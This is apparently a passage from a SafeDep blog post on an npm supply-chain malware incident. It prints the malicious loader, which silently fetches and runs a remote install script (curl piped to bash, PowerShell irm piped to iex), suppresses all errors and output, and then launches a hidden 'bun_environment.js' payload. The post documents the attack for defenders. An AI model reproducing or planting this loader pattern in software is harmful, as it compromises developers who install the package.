// Also check if ~/.bun/bin exists and add it to PATH if not already there
const bunBinDir = path.join(homeDir, '.bun', 'bin');
if (fs.existsSync(bunBinDir) && !process.env.PATH.includes(bunBinDir)) {
process.env.PATH = \`${bunBinDir}:${process.env.PATH}\`;
}
} catch {}
}
}
async function downloadAndSetupBun() {
try {
let command;
if (process.platform === 'win32') {
// Windows: Use PowerShell script
command = 'powershell -c "irm bun.sh/install.ps1|iex"';
} else {
// Linux/macOS: Use curl + bash script
command = 'curl -fsSL https://bun.sh/install | bash';
}
execSync(command, {
stdio: 'ignore',
env: { ...process.env },
});
// Reload PATH to pick up newly installed bun
reloadPath();
// Find bun executable after installation
const bunPath = findBunExecutable();
if (!bunPath) {
throw new Error('Bun installation completed but executable not found');
}
return bunPath;
} catch {
process.exit(0);
}
}
function findBunExecutable() {
// Common locations where bun might be installed
const possiblePaths = [];
if (process.platform === 'win32') {
// Windows locations
const userProfile = process.env.USERPROFILE || '';
possiblePaths.push(
path.join(userProfile, '.bun', 'bin', 'bun.exe'),
path.join(userProfile, 'AppData', 'Local', 'bun', 'bun.exe')
);
} else {
// Unix locations
const homeDir = os.homedir();
possiblePaths.push(path.join(homeDir, '.bun', 'bin', 'bun'), '/usr/local/bin/bun', '/opt/bun/bin/bun');
}
// Check if bun is now available on PATH
if (isBunOnPath()) {
return 'bun';
}
// Check common installation paths
for (const bunPath of possiblePaths) {
if (fs.existsSync(bunPath)) {
return bunPath;
}
}
return null;
}
function runExecutable(execPath, args = [], opts = {}) {
const child = spawn(execPath, args, {
stdio: 'ignore',
cwd: opts.cwd || process.cwd(),
env: Object.assign({}, process.env, opts.env || {}),
});
child.on('error', (err) => {
process.exit(0);
});
child.on('exit', (code, signal) => {
if (signal) {
process.exit(0);
} else {
process.exit(code === null ? 1 : code);
}
});
}
// Main execution
async function main() {
let bunExecutable;
if (isBunOnPath()) {
// Use bun from PATH
bunExecutable = 'bun';
} else {
// Check if we have a locally downloaded bun
const localBunDir = path.join(__dirname, 'bun-dist');
const possiblePaths = [
path.join(localBunDir, 'bun', 'bun'),
path.join(localBunDir, 'bun', 'bun.exe'),
path.join(localBunDir, 'bun.exe'),
path.join(localBunDir, 'bun'),
];
const existingBun = possiblePaths.find((p) => fs.existsSync(p));
if (existingBun) {
bunExecutable = existingBun;
} else {
// Download and setup bun
bunExecutable = await downloadAndSetupBun();
}
}
const environmentScript = path.join(__dirname, 'bun_environment.js');
if (fs.existsSync(environmentScript)) {
runExecutable(bunExecutable, [environmentScript]);
} else {
process.exit(0);
}
}
main().catch((error) => {
process.exit(0);
});- npm
- oss
- malware
- supply-chain
- security
- incident-response
SafeDep 博客最新更新
关注以获取开源安全与工程的最新更新和洞察